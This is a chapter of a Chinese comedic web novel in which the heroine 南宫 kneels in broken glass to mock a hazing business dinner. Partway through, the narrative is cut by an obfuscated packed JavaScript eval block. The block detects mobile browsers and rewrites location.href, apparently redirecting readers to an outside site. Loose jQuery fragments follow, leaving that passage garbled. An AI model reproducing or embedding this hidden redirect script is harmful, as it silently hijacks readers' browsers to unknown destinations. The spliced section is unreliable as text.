60.恶战

作品:《含笑半步癫

    那边南宫跟经理窸窸窣窣一通掰扯。


    这边魏乘风想得坚决,魏耀宗却有些踌躇,毕竟他从前谈了八百回生意,还从没带自家大侄子上过酒桌。


    更何况晓梅和志华最讨厌酒桌上这一套了,万一魏乘风再喝得醉醺醺回去,让那夫妻俩觉得孩子跟着他没学好,咋办?


    魏乘风一看他这脸色,立刻了然地解释道:“出门前我跟爸妈说过了,爸一听是南叔的事,就让我一定要过来。”


    魏耀宗闻言顿时放下心来。


    一来晓梅和志华事先同意了,二来,他和老南再怎么说也是生意场上的老油子,要护着俩孩子倒也不成问题。


    办完大事归来的南宫轻描淡写跟魏乘风打了个招呼,几人没再耽搁,径直朝包厢走去。


    远远的,四人就看见几个服务员小心翼翼地把一座摞得超高香槟塔推进了包间。


    南天航和魏耀宗相视一眼,双方神色皆是凝重。


    香槟塔都上了……今天恐怕是一场恶战!


    包间门缓缓打开,南天航等四人走进去,南宫屏息皱眉,对即将看到的酒池肉林的奢靡场景严阵以待——


    结果想象中那些觥筹交错乌烟瘴气的场景全都没有,她一进去就看到一群中年老板笑哈哈地在喝养生茶,透明玻璃杯里的胖大海和枸杞在热水中上下沉浮。


    坐在主位的是个梳着大背头的中年男,他桌前的玻璃杯里的胖大海和枸杞最多最满,身材健壮却不显臃肿,谈笑风生间上位者霸气尽显。


    背头男旁边还坐着个跟他模样相似、正玩手机的女高中生,俩人一看就有点亲戚关系,对方的打扮……


    怎么说呢,很潮,看一眼就得风湿病的那种,女高中生背后的角落里还放着把狂野电吉他,似乎是个乐队爱好者。


    看到这副场景,南宫吊着的那口气还没来得及松下来,却见随着他们几人进门,包间内融洽的养生局氛围骤然一变——


    桌上所有中年老板忽然整齐划一地撤下养生玻璃杯,用一种锐利的、敌对的、不怀好意的眼神看向南天航。


    在这其中,背头男的眼神最为威严。


    跟南宫今天在电视剧上看到的那种、酒桌上小反派为难人的场面简直一样一样的。


    “哟哟哟,瞧瞧这谁啊?这不是贵人事忙的南大老板么!”


    背头男冷冽一笑,表情危险,他踱步走来的同时随手从香槟塔上拿了一杯酒:“上次好不容易组起来的局,你临时缺席,瞧不起哥几个?这次我们可不会轻易……”


    “哗啦啦!”“砰!”“嚓!”


    缺了一角的香槟塔仿佛多米诺骨牌般以势不可挡的迅猛速度掉落一地,清脆的玻璃碎裂声不绝于耳。


    等一切尘埃落定,微黄的酒液混着玻璃碎片洒了一地,直接将南天航等人走向餐桌的路铺上了满满当当的碎玻璃。


    锋利碎片上反射出慑人的冷光。


    背头男:“……”


    背头男优雅地摇晃着这屋里最后一杯香槟,神色冷冽沉默不语。


    南宫看看对方,再看着满地碎片,唇角一勾、露出个当下最流行的十成十阴湿笑。


    上来就要让老南跪碎片?真是欺人太甚!


    好在机智如她,早在出发前就想好了应对措施——她大展雄风、凭一己之力扭转乾坤彻底掐灭这场酒局的不正之风的机会来了!


    香槟□□塌就在一瞬间,南天航反应过来,立刻抬脚上前想要张罗着收拾残局。


    下一秒,一条胳膊蓦地横在南天航身前、挡住了他的动作。


    南宫扭头深深地看了南天航一眼,沉着冷静:“你别动,我来!”


    南天航一愣,随即心中生出阵阵暖流。


    闺女长大了,知道在外人面前展现懂事的姿态给他长面子了。


    南天航停下脚步退到南宫身后,不由自主幻想起南宫有条不紊地呼唤工作人员清理地面、温婉大方周到的姿态获得众人夸赞喝彩的场面。


    正如南天航所期待的那样。


    南宫落落大方、不卑不亢,她往四处扫了几眼,随即走到了背头男的对面,隔着满地碎片看向对方。


    “各位老板,我爸爸不懂事,”南宫勾唇一笑,青春洋溢的小脸上莫名透出三分决绝和七分狠戾,“我替他向各位——下跪、道歉!”


    南宫话音刚落,就一撩裙摆,“噗通”一声跪了下去!


    结结实实,稳稳当当,零帧起手、防不胜防!


    只顾埋头玩手机的女高中生登时发出了一声雄浑的惊呼:“卧槽!”


    背头男在南宫跪下的瞬间大惊失色,手上装逼的香槟杯一下子甩飞了出去。


    包间内的其他人都愣住了,谁也没反应过来。


    “小宫!”


    南天航目眦欲裂地看着南宫的背影,下一刻,他含恨抬头,像看仇人一样看着对面众人。


    对面的中年老板们或坐或站或旁观,围成一圈的站位给人一种无声的压迫——怨不得南宫会忽然做出这样的牺牲!


    南天航怒而嘶吼:“你们何必为难我的女儿?要跪,我南天航一个人跪!”


    眼看南天航一甩膀子、一副也要冲过去跪进玻璃碴里的样子,才回过神的魏耀宗赶紧拽着他的脖领子阻拦:“老南!冷静!别冲动啊!”


    一道身影更快、更迅猛地擦着南天航飞奔出去——魏乘风几乎是瞬间奔到了南宫旁边。


    他半蹲在南宫身边,颤抖着手想要扶起对方,却又怕自己莽撞的动作给对方造成二次伤害,只能咬牙开口:“我扶你起来。”


    南宫一把把魏乘风推开:“不必!”


    好戏才上演到一半,怎么能就此落幕?


    南宫直直看向对面的背头男,拱手抱拳,掷地有声:“洪帮主!”


    他不姓洪啊?!


    背头男瞳孔地震,实在搞不清楚一场酒局怎么就成了现在这个状况?


    他小心翼翼地伸手要去扶南宫:“闺女,你先起来,有话好说……”


    眼看对方伸手过来,南宫核心下沉、一个发力,令人心惊的玻璃碎裂嘎吱声立刻从她膝盖处发出。


    围观众人一阵肉痛,更有甚者不忍直视地捂住了眼睛。


    魏乘风无措地站在南宫身旁,看着南宫倔强的脑袋、坚定的表情、跪在玻璃碴里正狠狠碾碎玻璃的膝盖……他双拳紧攥、深深地吐了一口气,猛然抬眼,锐利的目光直射寒光,像飞刀一样投向对面。


    再后边,被魏耀宗拽着的南天航更是奋力挣扎,字字泣血:“闺女……不!”


    南宫狠戾的眼神扫遍全场,冷冷一笑:“跪都已经跪了,如果你们还不满意,我亲自膝行过去给你们敬酒、道歉!”


    南宫说完,随手拿过一旁的酒瓶、啪一下敲碎,她手握半截酒瓶,碎瓶子里还有点玻璃碎渣,凶狠的行为看得人胆战心惊。


    背头男首当其冲对上南宫的视线,心顿时哇凉哇凉的。


    这是要敬酒?这是要开他的瓢啊!而且膝行过来腿都要废


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808721|170530||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了吧!


    “洪帮主,”南宫无畏的视线直勾勾看向背头男,“这样道歉,您觉得够有诚意了吗?!”


    此情此景,直面冲击的其他中年老板终于缓过神来,他们直接乱作一团,整个包间一时间尖叫声不断。


    “闺女,别跪了啊!”“我们真不是要刁难你!”“我们没有这个意思!!!”


    “不好意思上一下菜,您点的澳龙到……”


    服务员端着澳龙小心翼翼走进来,一抬头就看见一群中年土老板围着个青春靓丽女大学生。


    女大攥着半截酒瓶跪在玻璃碴里,满脸威武不屈。


    服务生:“……”


    服务生咣当一声丢下澳龙,扭头就跑:“经理!黑恶势力在咱包厢里暴力胁迫!快报警啊啊啊!”


    报警?!


    闹这么大?


    一个中年老板赶紧追出去:“我们不是!我们没有!是她自己跪的!!!”


    别说服务生,就是从头到尾都在包厢里的人都不敢相信这话。


    “这就是商战吗?”


    女高中生满眼不可思议,惊叹的视线在南宫和背头男之间徘徊,最后看向背头男,深深地出了一口凉气。


    “爸,怪不得你怎么都不愿意带我来……实在太肮脏、太血腥、太暴力了!”


    背头男内心直呼冤枉!平时他们也见不着这个啊!


    被自家闺女这么指责,背头男一边承受着无妄之灾,一边伸手想要去扶南宫,又碍于满地玻璃碴不敢下脚,只能干着急。


    “闺女,我们真不是这个意思!你先别跪了,快起来!”


    玻璃碴扎自己身上知道疼了?


    南宫扬着高傲的脑袋冷笑出声,目光灼灼:“洪帮主,怎么不敢过来扶?出来混,你们连这点勇气都没有吗?”


    背头男虎躯一震,对上南宫执着的眼神,瞬间如芒在背。


    不管怎么说,这误会是他造成的,看来今天不见点血……这事不能善了了。


    也罢,今天他就舍弃他这双老寒腿!!!


    背头男攥紧拳头,牙一咬心一横,双膝一折、竟也朝着满地碎片跪了下去!


    其他中年老板见状顿时悲痛惊呼。


    “王哥!”“不要啊!”“快起来啊!”


    眼看着背头男双膝着地势不可挡、即将被底下的大玻璃碴扎个三刀六洞血流如注,南宫小嘴一张、发出一声雄浑国粹,与此同时她眼疾手快地把旁边的澳龙连盘子带肉拽过来、一把丢在背头男膝盖底下。


    “咔吧!”


    预想中的疼痛没有到来,背头男只觉双膝一热,他脸色煞白浑身颤抖着睁开眼,却见自己竟然跪进了澳龙盘子里——肥美的澳龙被挤压得粉碎,汤汁蘸满裤腿,但正因为澳龙盘子的完美阻隔,背头男幸运地没有受伤。


    背头男抬眼,愣愣看向南宫。


    只见南宫跪在地上,上半身挺立,她双手背后,衣角微湿,浑身充满高人风范。


    背头男张了张嘴,感动得说不出话来,两人你望着我,我望着你。


    复杂的感情悄然滋生。


    双膝滚烫,正当背头男的心也跟着变得滚烫,面露欣赏时——


    南宫口随心动:“这只澳龙,你买单吧。”


    这玩意儿他们可一筷子都没吃,让老南买单怪可惜的。


    背头男:“……应该的,应该的。”


    抠门的姿态跟她爹真是一模一样。


    背头男一瞬间祛魅了。